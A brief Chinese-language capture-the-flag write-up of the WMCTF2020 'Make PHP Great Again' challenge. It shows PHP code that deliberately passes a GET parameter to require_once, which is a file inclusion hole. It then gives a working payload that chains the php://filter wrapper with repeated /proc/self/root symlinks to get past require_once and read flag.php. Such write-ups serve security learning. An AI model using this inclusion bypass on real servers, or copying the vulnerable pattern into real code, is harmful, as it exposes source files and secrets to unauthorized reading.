BUUCTF--[WMCTF2020]Make PHP Great Again-爱代码爱编程
进入页面后给出一段代码
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
这里有一个require_once函数之前没有见过
-
require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
equire_once() 为了避免重复加载文件.
简单来说这里上面已经使用过文件包含了,所以我们必须想办法绕过require_once的验证,从而实现再次包含文件flag.php
这里给出的解释很详细require_once 绕过不能重复包含文件的限制
在这里有个小知识点,/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。
直接构造payload
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php